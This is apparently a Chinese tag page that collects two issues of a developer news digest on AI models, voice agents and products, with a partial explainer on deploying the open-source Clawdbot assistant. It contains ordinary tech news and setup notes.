标签 vLLM 下的文章

开发者朋友们大家好:

这里是 「RTE 开发者日报」,每天和大家一起看新闻、聊八卦。我们的社区编辑团队会整理分享 RTE(Real-Time Engagement) 领域内「有话题的技术」、「有亮点的产品」、「有思考的文章」、「有态度的观点」、「有看点的活动」,但内容仅代表编辑的个人观点,欢迎大家留言、跟帖、讨论。

本期编辑:@瓒an、@鲍勃

01 有话题的技术

1、Qwen3-ASR 正式开源:包含三款模型,支持 52 种语言与方言

Qwen 团队正式开源 Qwen3-ASR 系列,包括两个强大且全面的语音识别模型 Qwen3-ASR-1.7B 与 Qwen3-ASR-0.6B,以及一个创新的语音强制对齐模型 Qwen3-ForcedAligner-0.6B。 Qwen3-ASR 系列的语音识别模型支持 52 个语种与方言的语种识别与语音识别。

依托预训练 AuT 语音编码器与 Qwen3-Omni 基座模型的多模态能力,Qwen3-ASR 系列实现了精准且稳定的识别效果。

其中,1.7B 模型在中文、英文及歌唱识别等场景达到 SOTA,具备复杂文本识别能力及强噪声下的稳定性;0.6B 模型兼顾性能与效率,128 并发下吞吐量达 2000 倍(10 秒处理 5 小时音频)。

两款模型均单模型支持 30 个语种及 22 个中文方言,支持流式/非流式一体化推理,最长可处理 20 分钟音频。

Qwen3-ForcedAligner-0.6B 支持 11 种语言任意位置对齐,精度超越 WhisperX 等主流模型,单并发推理 RTF 仅 0.0089。目前,全套模型权重、结构及支持 vLLM 的推理框架已全部开源。

在模型效果评估方面,Qwen3-ASR 系列在中文/英文、多语种、中文方言、歌声识别及复杂场景下均表现优异:

  • 英文场景:不仅在公开基准上达到最优,在覆盖 16 个国家口音的内部测试集中,整体表现优于 GPT-4o Transcribe、Gemini 系列、Doubao ASR 系列及 Whisper-large-v3。
  • 多语种场景:最高支持 30 种语言,在 20 个主流语种上,1.7B 模型全面超越现有开源模型,取得最佳平均 WER。
  • 中文与方言场景:在普通话、粤语及 22 种地区方言上整体领先,尤其在方言识别上,相比 Doubao-ASR 平均错误率降低了 20%(15.94 vs 19.85)。
  • 复杂场景:面对老人/儿童语音、极低信噪比、鬼畜重复等挑战,仍能保持极低的字/词错误率;歌唱识别支持带 BGM 的整首歌中/英文转写。

此外,该系列在推理效率与对齐能力上也实现了突破。Qwen3-ASR-0.6B 模型在性能与效率间取得了平衡,无论离线或在线高并发场景,均能保持极低 RTF 与极高吞吐。配套推出的 Qwen3-ForcedAligner-0.6B 则支持 11 种语言的任意位置灵活对齐,其时间戳预测精度整体超过 WhisperX、NeMo-ForcedAligner 等主流方案。

目前,Qwen3-ASR 系列模型已在 Github、HuggingFace 和 ModelScope 上线,相关论文及阿里云百炼 API 也已同步发布。

Github:
https://github.com/QwenLM/Qwen3-ASR

HuggingFace:
https://huggingface.co/collections/Qwen/qwen3-asr

识别结果:

蹦出来之后,左手、右手接一个慢动作,右边再直接拉到这上面之后,直接拉到这个轮胎上,上边再接过去之后,然后上边再直接拉到这个位置了之后,右边再直接这个位置接倒过去的之后,再倒一下,然后右边再直接抓住这个上边了之后,直接从这边上边过去了之后,直接抓住这个树杈,然后这个位置直接倒到这个树杈。

识别结果:

拨号,请再说一次,请说出您要拨打的号码。幺三五八幺八八七五七。一三五八二八八八幺八八。纠正纠正。九六九。纠正纠正,不是九六。

识别结果:

Okay, Charles. It looks like we have a problem with the radio. What happened? Yeah, someone spilled water on their machine. I uh, yeah. Charles, can you hear us? Mamma mia.

(@千问 Qwen)

2、Google 推出 LiteRT 推断框架:深度集成 NPU,实现跨平台统一高性能部署

Google 正式推出继任 TensorFlow Lite 的端侧 AI 推断框架「LiteRT」。该框架完成了从经典机器学习向生成式 AI(GenAI)的架构演进,通过深度集成 NPU 加速和全新编排层,实现了跨 Android、iOS、Web 及桌面端的统一高性能部署。

  • 高性能多后端加速:采用下一代 GPU 引擎 「ML Drift」,支持 OpenCL、Metal 和 WebGPU。GPU 性能较 TFLite 提升 1.4 倍,并引入异步执行与零拷贝缓冲(Zero-copy buffer)技术,端到端延迟缩减达 2 倍。
  • 深度 NPU 集成方案:通过抽象层屏蔽不同 SoC 的 SDK 差异,首批支持「MediaTek」与「Qualcomm」NPU。实测 NPU 推断速度较 CPU 提升 100 倍,并提供 AOT(预编译)与 JIT(即时编译)两种部署模式以平衡启动速度与包体积。
  • GenAI 专用技术栈:新增「LiteRT-LM」编排层与「LiteRT Torch Generative API」。在 Samsung Galaxy S25 Ultra 上的基准测试显示,Gemma 3 1B 的 GPU Prefill 速度较 llama.cpp 提升 19 倍,Decode 速度提升 7 倍。
  • 多框架无缝转换:支持 PyTorch、JAX 和 TensorFlow 模型一键转换为 。tflite 格式。其中 LiteRT Torch 库允许 PyTorch 基于 Transformer 的架构直接映射至优化后的底层算子,无需复杂的中间件平移。
  • 全新 C++ API:引入 CompiledModel API 取代传统的 Interpreter 模式,旨在优化多线程环境下的内存复用与硬件调度效率,同时保持与存量 。tflite 模型的向后兼容。

LiteRT 现已进入生产就绪状态,全面支持主流移动端与桌面端操作系统,核心代码已在 GitHub 开源。

GitHub:
https://github.com/google-ai-edge/LiteRT/issues

( @Google for Developers Blog)

3、曝阿里字节春节前后齐发旗舰模型

就在刚刚,据 The Information 援引知情人士消息称,字节和阿里均计划在二月中旬的春节假期前后发布新一代旗舰 AI 模型。

消息人士称,字节将于下月推出三款 AI 产品:新一代大语言模型 Doubao 2.0、图像生成模型 Seedream 5.0 以及视频生成模型 SeedDance 2.0。

阿里方面同样蓄势待发。据直接了解其计划的人士透露,阿里预计将在春节期间推出旗舰模型 Qwen 3.5,该模型针对复杂推理任务进行了专门优化,在数学和编码能力方面表现突出。

本月中旬,阿里官宣对千问 APP 进行重大升级,将其与电商平台、在线旅游服务以及蚂蚁集团的支付系统深度整合,力求打造一个能够协助用户完成订餐、预订旅行等实际任务的全能 AI 助手。

而据内部人士透露,阿里的目标是在 2026 年上半年将所有生态服务整合到千问 APP 中。

此外,报道还提到,阿里和字节都在进行更长远的布局,正在开发能够无缝处理文本、图像、音频、视频和代码的全能型 AI 模型。

( @APPSO)

4、数字人 Tavus 发布 tavus-skills:支持 npx 一键集成实时视频交互组件

数字人 Tavus 推出开发者工具集 tavus-skills,旨在通过标准化的技能模块供智能体调用,快速构建视频 AI 代理。该工具集集成了数字孪生训练、视频流生成及实时对话交互(CVI)能力,支持开发者通过 CLI 工具完成环境配置。

  • npx 模块化分发体系:支持通过 npx skills add Tavus-Engineering/tavus-skills 实现一键集成。开发者可按需拆分安装 tavus-replica(数字孪生管理)、tavus-video-gen(脚本化视频生成)等 8 个独立模块。
  • CVI 专用模型栈集成:底层原生支持 Phoenix-3 视频生成模型、Raven 视觉/音频感知模型以及 Sparrow 实时对话控制引擎,针对实时交互场景优化了响应延迟。
  • WebRTC 实时交互控制:提供 tavus-cvi-interactions 模块,支持在视频流传输中执行实时文本回显(Echo)、指令打断(Interrupt)以及动态上下文注入。
  • 前端工程化支持:配套发布 @tavus/cvi-ui React 组件库与 React Hooks,深度适配 Vite 与 Next.js 框架,简化了实时视频交互界面的 UI 开发。
  • 持久化 RAG 与记忆模块:通过 tavus-cvi-knowledge 模块支持文档上传与知识库构建,允许视频智能体在多次对话间保持长短期记忆。

GitHub:
https://github.com/Tavus-Engineering/tavus-skills

( @GitHub)

02 有亮点的产品

1、AI-Native 用户研究平台 Trooly.AI 获王慧文、高瓴及蓝驰投资,完成近千万美元种子轮融资

据「暗涌 Waves」报道,成立仅 4 个月的 AI-Native 用户研究平台 Trooly.AI 已完成近千万美元的种子轮融资,投资方包括蓝驰创投、高瓴创投和王慧文。

与市面上常见的宏大叙事不同,Trooly.AI 专注于实现商业闭环。其核心产品面向有用户调研需求的 B 端客户,通过多模态 Voice Agent 技术,专注于 45 分钟左右的深度定性用户访谈。该平台宣称可在 10 分钟内协助用户完成研究计划的设置和发布,并在 1 天内交付完整访谈数据和专业洞察总结。

Trooly.AI 的两位创始人王震和孙皓此前均为 Zulution AI 早期成员。Zulution AI 由 TikTok 前身 Musical.ly 创始人阳陆育创办,曾推出 AIGC 角色扮演对话产品「Museland」。王震和孙皓共同经历过 AI 陪伴产品的拓荒期,但在 2025 年春,随着 AI 陪伴产品的用户交互出现边际效应递减,两人选择离开。

在探索了多种产品形态后,创始人团队意识到,在 AI 使内容生成成本趋近于零的时代,竞争壁垒在于「输入」的质量。最昂贵的资产是能为产品决策提供核心「信息增量」的真实用户故事。这一方向的确立也源于王震此前作为甲方的采购经历:传统调研耗资巨大且样本量少。团队发现,此前积累的对话技术天然适合深度定性访谈。

王震指出,相比人类访谈员带来的社交压力,受访者面对「博学且温和」的 AI 更容易敞开心扉。在 Trooly.AI 的实际案例中,AI 访谈员曾引导受访者分享隐秘且深刻的情绪。王震认为,在用户调研中,单纯的事实往往只是边角料,核心在于「用户故事」。只有通过故事感知用户与产品间的真实羁绊,才能弥合产品经理想象与现实之间的鸿沟。

针对产品效能与体验,Trooly.AI 强调以下特点:

  • 效率与成本:相比传统用研流程动辄耗时一两个月,Trooly.AI 的反馈速度提升约 30 倍,成本可压至传统方式的 20%。
  • 交互体验:产品界面摒弃拟人化形象,仅保留流动的声波与配色,以降低社交压力并营造宁静氛围。
  • 技术逻辑:底层注入大量专家知识,Agent 能根据用户背景、情绪信号动态调整追问深度,把控交互节奏。

关于团队建设,王震和孙皓表示经历了从迷信「超级个体」到回归团队协作的转变。他们认为,尽管 AI 能大幅提升执行效率,但无法替代人类在审美、发散性创新与结构化逻辑上的互补。因此,Trooly.AI 倾向于组建由各维度单项顶尖人才构成的精简团队。

面对 AI 时代极其残酷的竞争环境,Trooly.AI 团队认为绝大多数无法形成有效服务的「玩具」类应用终将消亡,因此致力于在利基市场中确立生存优势。

联合创始人孙皓指出,Trooly.AI 的目标不仅仅是做一个工具,而是构建一套让「构建者」能够直达用户真实声音的价值链。王震表示,Trooly.AI 的使命是让消费者洞察直达产品决策者。团队希望帮助全球的产品构建者弥合想象偏差,减少资源浪费,从而在 AI 时代的「生物大爆发」中挖掘真需求,找到自然选择下的最优解。

报道链接:
https://mp.weixin.qq.com/s/E4CJQnezo0J1PuATOQ1ZHg

官网:
https://www.trooly.ai

(@暗涌 Waves)

2、曝豆包手机二代机型二季度发布

据《智能涌现》报道,字节跳动已于去年底正式启动豆包手机助手正式版项目,第二代豆包手机预计将在今年第二季度中晚期发布。

报道称,字节跳动对二代机型的市场预期显著提高,依旧延续与中兴努比亚的合作模式,由中兴负责硬件、豆包负责 AI 能力。

供应链人士称,新机在体验与权限体系上将比初代测试版更成熟。与此同时,豆包团队已与部分互联网服务提供商(打车、外卖、订票等)达成常用权限接入协议,以提升系统级 AI Agent 的可用性。

在合作策略上,豆包正与不同类型的手机厂商展开差异化谈判。对于 OPPO、vivo、荣耀等自研生态完善的大厂,合作主要集中在模型调用、输入法等模块化技术层面;

而对于传音、魅族、联想等市占率较低的厂商,则采取更激进的方案,直接在系统中内置豆包 AI 入口,并以技术授权费与 AI 服务订阅费作为商业模式。

报道还指出,豆包手机正同步推进海外布局,已与包括 vivo 在内的厂商商讨在其海外机型中搭载「豆包手机助手」,但细节仍在谈判中。

同时,字节在硬件形态上持续扩张,正在开发带显示与不带显示的两款 AI 眼镜,前者预计将在今年 Q4 发布,后者将在今年 Q1 推出。此外,字节也在研发带摄像头的 AI 耳机,试图构建多终端协同的智能硬件生态。

( @APPSO)

3、法国政府宣布 2027 年前停用 Teams 和 Zoom,全面转向自研平台 Visio

法国政府周一宣布,计划用本国自主研发的视频会议平台取代微软 Teams 和 Zoom 等美国平台,并于 2027 年前在所有政府部门全面投入使用。

此举属于法国停止使用外国(特别是美国)软件供应商并重新掌握关键数字基础设施控制权战略的一环。 目前,法国与欧洲正处于关于数字主权的关键转折点。

法国公务员与国家改革部部长 David Amiel 表示,目标是结束对非欧洲解决方案的使用,依靠强大且自主的主权工具来保证公共电子通信的安全性和机密性。

政府宣布将转而使用法国制造的视频会议平台 Visio。该平台已进行了为期一年的测试,目前拥有约 4 万名用户。

Visio 是法国「数字套件」(Suite Numérique)计划的组成部分,该计划构建了一个主权工具数字生态系统,用于替代 Gmail 和 Slack 等美国在线服务。这些工具专供公务员使用,不面向公共或私营企业。

该平台还具备由人工智能驱动的会议转录和发言人识别功能,采用了法国初创公司 Pyannote 的技术。Visio 托管在法国公司 Outscale 的主权云基础设施上,该公司是法国软件巨头达索系统(Dassault Systèmes)的子公司。

法国政府表示,切换到 Visio 能够削减许可成本,每 10 万名用户每年可节省高达 100 万欧元。

在此之前,去年发生的美国云服务中断事件引发了欧洲对过度依赖美国信息技术基础设施的质疑。Amiel 指出,这一战略突显了在地缘政治紧张局势加剧以及对外国监控或服务中断的担忧中,法国对数字主权的承诺。

(@Euronews Next )

03 Real-Time AI Demo

1、当乐高遇上 AR 眼镜:开发者利用 Gemini 赋予积木实时声效与交互

开发者 Stijn Spanhove 与 Pavlo 在 Snap Spectacles 上构建了一个概念验证(POC),探索了继 LEGO Smart Bricks 之后,将乐高积木与 AR 眼镜相结合的交互形态。

在该演示中,系统利用 Gemini 模型视觉识别用户搭建的任何乐高作品,即时生成独一无二的音效,并支持用户直接用手进行抓取与互动。

例如,摇晃一架飞机模型时会听到引擎的轰鸣,挥舞一条龙时则伴随着咆哮声。对于每一个不同的拼搭作品,系统都能做出差异化的反应。

开发者提出了一种进一步融合的设想:将 LEGO Smart Play 积木内部的物理传感器、AR 技术以及环绕的生成式 AI 结合在一起。这种组合有望打造出一个既能从内部物理感应做出反应,又能通过眼镜在视觉上「活过来」的乐高城市。

正如开发者所言,这一切并非科幻构想,所有必要的技术组件目前均已存在,该项目展示了这些技术整合后的潜力。

( @stspanho\@X)

04 有态度的观点

1、OpenAI 董事长:Vibe Coding 不是终局,AI Agent 才是软件未来

据《商业内幕》报道,OpenAI 董事长 Bret Taylor 近日在《Big Technology Podcast》节目中表示,「Vibe Coding」将继续存在,但它并非软件行业的最终形态。

Taylor 在节目中指出,依赖自然语言快速生成应用的方式会逐渐变得寻常,而真正的变革来自 AI Agent 对软件结构的重塑。

Taylor 认为,当前围绕「如何更快用 Vibe Coding 做出一个应用」的讨论忽略了关键问题。

他表示,未来的软件形态将不再依赖传统的仪表盘、网页表单或独立应用,而是由可执行任务的 AI Agent 取代。

我们会把任务交给 Agent,它们会直接对数据库执行操作。关键在于,这些 Agent 是谁来做,你是买现成的,还是自己构建。


他同时指出,AI 虽然显著降低了软件开发成本,但并未解决维护难题,也未消除错误风险,因此大多数企业仍倾向于购买成熟方案,以将维护成本分摊给更多客户。

关于 Vibe Coding 的局限性,Google CEO Sundar Pichai 去年在《Google for Developers》播客中表示,这种方式让编码更轻松,也让非技术用户能创建简单应用。

不过,他也指出 AI 生成的代码仍可能冗长、结构不佳或存在错误。他在 Google 母公司 Alphabet 去年 4 月的财报电话会上透露,Google 超过 30% 的新代码由 AI 生成,高于 2024 年 10 月的 25%。

Anthropic 工程师 Boris Cherny 也在去年 12 月的《The Peterman Podcast》中指出,Vibe Coding 更适合原型或一次性代码,而不适用于企业核心系统。

有时候你需要可维护的代码,需要对每一行都非常谨慎。

( @APPSO)

阅读更多 Voice Agent 学习笔记:了解最懂 AI 语音的头脑都在思考什么

写在最后:

我们欢迎更多的小伙伴参与「RTE 开发者日报」内容的共创,感兴趣的朋友请通过开发者社区或公众号留言联系,记得报暗号「共创」。

对于任何反馈(包括但不限于内容上、形式上)我们不胜感激、并有小惊喜回馈,例如你希望从日报中看到哪些内容;自己推荐的信源、项目、话题、活动等;或者列举几个你喜欢看、平时常看的内容渠道;内容排版或呈现形式上有哪些可以改进的地方等。

作者提示: 个人观点,仅供参考

开发者朋友们大家好:

这里是 「RTE 开发者日报」,每天和大家一起看新闻、聊八卦。我们的社区编辑团队会整理分享 RTE(Real-Time Engagement) 领域内「有话题的技术」、「有亮点的产品」、「有思考的文章」、「有态度的观点」、「有看点的活动」,但内容仅代表编辑的个人观点,欢迎大家留言、跟帖、讨论。

本期编辑:@瓒an、@鲍勃

01 有话题的技术

1、月之暗面推出最强开源 Agent 模型 Kimi K2.5

昨天,月之暗面正式面向公众推出旗舰大模型最新版本「Kimi K2.5」,在视觉、多模态理解、代码生成与智能体能力方面实现全面升级。

据介绍,Kimi K2.5 采用原生多模态架构,支持文本、图像与视频输入,能够执行图像分析、视频解析、视觉编程等任务。

官方展示内容显示,模型可根据平面图生成 3D 模型、从视频重建网页界面,并在图像推理任务中实现更高精度的路径规划与视觉调试能力。

在智能体方向,K2.5 引入全新的「Agent Swarm」并行智能体机制,可在无需预设子代理的情况下自动生成并调度多达 100 个子代理,执行最多 1500 次工具调用。

官方称,这一机制可在复杂任务中将执行效率提升至最高 4.5 倍,显著降低长链路任务的延迟。

此次更新以静默方式推送,用户在官网原有的 K2 模型已自动切换至 K2.5。同时,Kimi 官网还将此前推出的「OK Computer」模式更新为「Agent」模式,切换到此模式后可执行更多步骤的复杂任务。

Kimi.com 与 Kimi App 现已支持 K2.5 的四种模式,分别为「快速」、「思考」、「Agent」与「Agent 集群(Beta)」。

Hugging Face:
https://huggingface.co/moonshotai/Kimi-K2.5

技术文档:
https://www.kimi.com/blog/kimi-k2-5.html

( @APPSO)

2、首例「AI 幻觉」侵权案宣判:AI 承诺不具法律效力

据红星新闻报道,杭州互联网法院近日对国内首例因「AI 幻觉」引发的侵权纠纷作出一审判决,明确生成式人工智能在输出内容中作出的「承诺」不构成平台的意思表示,同时厘清了 AI 服务提供者在现阶段应承担的注意义务边界。

案件起因于去年 6 月。原告梁某在使用一款 AI 平台查询高校报考信息时,收到关于某高校主校区的错误描述。

其指出错误后,AI 不仅坚持错误信息,还生成了「如果生成内容有误,我将赔偿您 10 万元,您可前往杭州互联网法院起诉」的表述。梁某随后提供官方招生信息,AI 才承认内容不准确。

梁某认为 AI 的错误信息造成误导,且 AI 已作出赔偿承诺,遂起诉平台研发公司并索赔 9999 元。

法院审理认为,人工智能不具备民事主体资格,不能作出意思表示,其生成的「赔偿承诺」也不能视为服务提供者的意思表示。

法院从四方面说明理由:

  • AI 不能作为意思表示的传达人或代理人;
  • 平台并未通过 AI 设定或传达意思表示;
  • 一般社会观念不足以让用户对随机生成的承诺产生合理信赖;
  • 无证据显示平台愿意受 AI 生成内容约束。

关于归责原则,法院指出生成式人工智能服务属于「服务」范畴,而非产品质量法意义上的「产品」,不适用无过错责任原则,而应适用民法典第一千一百六十五条的一般过错责任原则。

法院强调,AI 输出内容通常不具备高度危险性,服务提供者对生成内容也不具备充分预见与控制能力,若采用无过错责任将不当加重企业负担,不利于产业发展。

在具体责任认定上,法院从侵权构成要件逐一审查:原告主张的损害属于纯粹经济利益受损,需从平台是否违反注意义务判断其行为是否违法。

经查,平台已在界面显著位置提示功能局限,并采用检索增强生成等技术,法院认定其已尽到合理注意义务,主观上不存在过错。

此外,原告未能提供因错误信息导致实际损害的证据。法院依据相当因果关系标准认为,AI 的不准确信息并未实质影响其报考决策,二者之间不存在因果关系。

最终,法院认定被告不构成侵权,驳回原告诉讼请求。原、被告均未上诉,判决已生效。

( @APPSO)

3、DeepSeek-OCR-2 上线,性能大幅提升

昨天,深度求索 DeepSeek 正式推出新一代文档解析模型「DeepSeek-OCR 2」,核心升级来自全新的视觉编码器架构 DeepEncoder V2

该模型以「视觉因果流」为设计理念,通过在视觉编码阶段引入类 LLM 的因果推理机制,实现「更接近人类阅读逻辑」的图像理解能力。

在实际表现上,DeepSeek-OCR 2 在 OmniDocBench v1.5 基准测试中取得 91.09% 的整体得分,相比上一代 DeepSeek-OCR 提升 3.73%,并在阅读顺序(R-order)等关键指标上显著降低编辑距离(ED),显示其在复杂文档布局理解上的优势。

值得注意的是,该模型在保持最高 1120 个视觉 token 的前提下,仍能达到与 Gemini-3 Pro 类似的 token 预算,体现出较高的压缩效率。

DeepSeek-OCR-2 已同步在 Hugging Face 与 GitHub 开源,支持动态分辨率、多裁剪策略,并提供基于 Transformers 与 vLLM 的推理示例,覆盖从 OCR、版面解析到图像描述等多类任务。

官方强调,该架构未来有望扩展至多模态统一编码器,为图像、文本、语音等多模态输入提供共享的因果推理框架。

GitHub:
https://github.com/deepseek-ai/DeepSeek-OCR-2

Hugging Face:
https://huggingface.co/deepseek-ai/DeepSeek-OCR-2

( @APPSO)

4、开源智能体项目 Clawdbot 因 Anthropic 商标诉讼更名为 Moltbot :GitHub Star 已突破 7 万

开发者 Peter Steinberger 发起的开源智能体项目 Clawdbot 因收到 Anthropic 律师函,指控其名称与模型 Claude 过于相似,现已正式更名为 Moltbot。该项目在 GitHub 目前获得超 7 万 Star,但在更名迁移过程中遭遇 ID 抢注及诈骗风波,同时一项极端交易实验暴露了当前 Agent 在复杂决策链中的失效风险。

  • 商标侵权与更名风险:Anthropic 律师函指控 Clawdbot 在拼写与读音上构成侵权。在重命名过程中,原 X 平台 ID 在释放后 10 秒内即被加密货币诈骗者抢注并用于发布虚假代币信息。
  • 智能体自主交易的失效路径:实测显示,该智能体集成了 25 种策略、12 种新算法,并能实时处理 3000 多份报告及社交平台数据。虽然具备 24/7 全天候执行力,但在赋予完整交易权限后,仍因决策逻辑无法应对极端市场波动导致账户资金归零。
  • 开发资源与项目热度的极度失衡:项目 Star 数已超 7 万,但开发者表示收到的赞助资金甚至不足以购买一台 Mac Mini。目前该项目仍处于早期阶段,开发者明确警告由于缺乏安全赏金计划,暂不建议非技术人员部署。
  • 高度可定制化的交互潜力:不同于主流模型的标准化接口,Moltbot 允许用户深度自定义交互逻辑。社交平台反馈显示,这种灵活性使其在辅助自闭症及 ADHD 等特定需求群体方面优于通用的 AI 产品。

已在 GitHub 开源,由开发者个人维护,维持非营利及早期实验性质。

GitHub:

https://github.com/moltbot/moltbot

(@机器之心)

02有亮点的产品

1、从「死板菜单」到「实时对话」:CareXM AI 语音助手实现临床需求秒级自动分流

「CareXM」在其非临床接听平台中推出基于 NLP 的 AI 语音智能体,旨在取代传统的 IVR 语音菜单。该系统通过实时自然语言对话识别患者意图,自动筛选并升级紧急临床需求至持证护士,在不增加行政负担的前提下提升医疗机构的响应速度。

  • 对话式 AI 替代 IVR 架构:利用自然语言处理(NLP)与语音识别技术实现实时双向对话,支持在单次通话中捕获、序列化并组织多个患者请求,消除传统脚本菜单的等待延迟。
  • 自动化临床升级协议:集成提供商特定的工作流逻辑,系统可自动识别具有潜在风险的临床需求,并根据预设协议实时将其转办至持证护士或协作团队。
  • 辅助 AI 摘要生成:系统自动提炼通话核心细节并生成结构化摘要,为后端护理团队提供上下文背景,以降低随访摩擦并提高处理优先级准确性。
  • 全天候非临床流量分流:支持工作时间内的精确路由及非工作时间的行政请求自动化处理,目前该底层方案已覆盖全美超过 10% 的 Medicare 日活跃病例。

( @Business Wire)

2、ServiceNow 深度集成 OpenAI GPT-5.2:推行原生语音智能体与计算机使用自动化

ServiceNow 与 OpenAI 签署多年期合作协议,将 GPT-5.2 等前沿模型原生集成至其工作流平台。此次合作的核心是从对话式 AI 转向行动导向的智能体,通过原生语音处理和模拟人工操作技术,解决企业环境中 API 缺失场景下的端到端自动化难题。

  • 原生语音对语音智能体:放弃传统的「语音-文本-语音」中转模式,AI 直接在音频层面进行推理与响应。该架构消除了文本翻译延迟,支持多语种实时交互,并可直接触发工单创建、审批流触发等后台逻辑。
  • 集成「计算机使用」模型能力:针对缺乏 API 支持的遗留系统(如大型机、旧版办公软件),利用 OpenAI 模型模拟人工点击、键入和界面导航。AI 智能体可跨邮件、聊天工具及复杂 IT 环境自主执行退款处理或账户更新。
  • 首选集成 GPT-5.2 级模型:协议确立 OpenAI 前沿模型为 ServiceNow 平台的首选智能选项。通过预构建的解决方案,企业可直接在 800 亿规模的年度工作流中部署 Agentic AI,无需进行复杂的定制化开发。
  • AI Control Tower 治理编排层:为企业提供集中化的审计与控制中心。该层级负责监控 AI 访问企业数据的权限,追踪 AI 触发的自动化动作,并确保所有由 AI 驱动的业务决策(如授信或注销投诉)具备合规可追溯性。

该协议为多年期合作,相关功能已进入规模化部署阶段;企业用户可通过 ServiceNow 平台获取,旨在实现从试点到生产环境的无缝切换。

( @CX Today)

3、「Consio AI」获 330 万美元融资:利用语音 AI 自动化电商进线响应与回访流程

由电商客服独角兽「Gorgias」早期员工创立的「Consio AI」完成 330 万美元融资,由 RTP Global 领投。该公司旨在通过 AI 自动化电商行业的电话沟通渠道,解决高客单价商品在传统邮件或聊天机器人场景下转化率低的问题。

  • 全流程语音自动化:系统可实现进线电话的即时自动响应,并根据用户行为逻辑自动触发定时回访。
  • 针对高客单价场景优化:技术架构侧重于模拟真实对话体验,旨在替代转化效果较差的文本机器人,处理决策链路较长的电商采购咨询。
  • 核心团队具备垂直行业经验:联合创始人 Philippe Roireau 与 Martin Latrille 拥有「Gorgias」早期工程与业务背景,深谙电商客服流转逻辑。
  • 资本与资源整合:本轮投资者除 RTP Global 外,还包括 SaaStr Fund、Mu Ventures,以及来自「Gorgias」、「Ramp」和「Datadog」的行业高管,资金将直接投向工程研发与合作伙伴生态建设。

已完成首轮融资,目前正加速工程开发并扩展市场准入。

(@RTIH)

03 有态度的观点

1、山姆 · 奥特曼:企业若不拥抱 AI,将被全 AI 公司淘汰

据腾讯科技报道,昨天上午,在旧金山的一场开发者交流中,OpenAI CEO 山姆 · 奥特曼表示,未来最具竞争力的公司可能呈现出「少量员工 + 大量 AI 助手」的组织形态。

他指出,AI 已从辅助工具演变为核心协作者,企业的生产方式、招聘逻辑与组织结构都将因此发生深刻变化。

奥特曼认为,许多公司尚未意识到 AI 已能承担大量工作,如果继续沿用传统扩张模式,将在未来竞争中处于劣势。

企业的面试方式也会随之改变,考察重点将从个人编码能力转向候选人是否能熟练使用 AI 工具,在极短时间内完成过去需要数周才能完成的任务。

企业未来可能面临两种路径:一种是由少量员工与大量 AI 协同工作,另一种则是完全由 AI 驱动的公司。

他希望前者成为主流,但也坦言,如果企业不主动拥抱 AI,将可能被更灵活的全 AI 公司淘汰。他强调,这不仅关乎企业竞争力,也关系到社会结构的稳定性。

在谈及这一趋势的背景时,奥特曼表示,AI 的能力提升速度远超多数组织的适应速度,企业需要尽早建立与 AI 协作的工作流程,并让员工掌握使用 AI 的能力。

他认为,未来的组织优势将来自「人类判断 + AI 执行」的组合,而不是单纯依赖人力扩张。

在本次活动现场,奥特曼也简要回应了其他关键议题,包括程序员职业前景、创业瓶颈、模型成本与安全风险等:

  • 软件工程师不会被取代,但工作方式将转向「指挥计算机完成任务」;
  • 创业门槛降低,但「找到用户」仍是最大难题;
  • 模型成本预计将在明年底显著下降,但速度将成为新瓶颈;
  • 生物安全是今年最值得警惕的风险领域;
  • 软件将加速走向个性化,每个人都可能拥有为自己生成的工具;
  • 幼儿教育应减少电子设备使用,更应培养主动性与创造力。

( @APPSO)

04 社区黑板报

招聘、项目分享、求助……任何你想和社区分享的信息,请联系我们投稿。(加微信 creators2022,备注「社区黑板报」)

1、通义百聆开发者新年交流会:语音模型从设计到使用全流程解析

阅读更多 Voice Agent 学习笔记:了解最懂 AI 语音的头脑都在思考什么

写在最后:

我们欢迎更多的小伙伴参与 「RTE 开发者日报」 内容的共创,感兴趣的朋友请通过开发者社区或公众号留言联系,记得报暗号「共创」。

对于任何反馈(包括但不限于内容上、形式上)我们不胜感激、并有小惊喜回馈,例如你希望从日报中看到哪些内容;自己推荐的信源、项目、话题、活动等;或者列举几个你喜欢看、平时常看的内容渠道;内容排版或呈现形式上有哪些可以改进的地方等。

作者提示:个人观点,仅供参考

Clawdbot 详解

Clawdbot 是什么?

Clawdbot 是一个开源的个人 AI 助手,你可以运行在自己的设备上。它通过你已有的通讯渠道与你交流:

  • WhatsApp, Telegram, Slack, Discord
  • Google Chat, Signal, iMessage, Microsoft Teams
  • 语音交互( macOS/iOS/Android )
  • WebChat 界面


核心特点

特性 说明
本地优先 数据完全由你控制,不需要依赖云服务
多平台支持 macOS, Linux, Windows (WSL2), Raspberry Pi
多 Agent 系统 可以运行多个隔离的 AI 代理
浏览器控制 自动控制 Chrome/Chromium 浏览器
Canvas AI 驱动的可视化工作区
语音唤醒 持续语音对话功能
技能扩展 可安装/自定义技能插件


为什么这么火?

原因 说明
隐私优先 本地运行,数据不泄露
功能强大 集成浏览器控制、文件操作、多平台通讯
完全开源 MIT 许可证,社区活跃
部署灵活 从树莓派到云服务器都能跑
Claude 深度集成 优先推荐使用 Claude Opus 4.5
AI Agent 体验 让 AI 真正"干活",不只是聊天


部署需求

硬件需求(官方)

配置 最低要求 推荐配置
RAM 512MB - 1GB 2GB+
CPU 1 核 2 核+
磁盘 ~500MB 更多(日志/媒体)
网络 稳定互联网 24/7 在线

软件需求

组件 要求
Node.js ≥22
系统 macOS, Linux, Windows (WSL2)


4090 显卡够吗?

结论:4090 完全足够,甚至有点"杀鸡用牛刀"

为什么?

Clawdbot 本身不需要显卡运行 LLM。它是一个网关/控制层,实际的 AI 推理通过 API 调用完成(如 Anthropic API 、OpenAI API )。

4090 的使用场景

如果你想让 Clawdbot 使用本地 LLM 模型(不调用云端 API ),4090 可以用来运行:

  • Ollama 本地模型
  • vLLM 推理服务
  • 其他本地推理框架

部署选项

┌─────────────────────────────────────────────────────────┐
│                    你的 4090 机器                        │
│  ┌─────────────┐    ┌─────────────┐    ┌─────────────┐  │
│  │  Clawdbot   │────│  Ollama/    │────│  本地 LLM   │  │
│  │  (网关)     │    │  vLLM       │    │  (4090 推理) │  │
│  └─────────────┘    └─────────────┘    └─────────────┘  │
│         │                                           │    │
│         └───────────────────────┬───────────────────┘    │
│                                 ▼                        │
│                         或使用云端 API (Claude/OpenAI)    │
└─────────────────────────────────────────────────────────┘

推荐配置

方案 A:纯 API 模式(最简单)

  • Clawdbot 直接调用 Claude/OpenAI API
  • 不需要本地 GPU
  • 4090 可以用于其他任务

方案 B:混合模式(推荐)

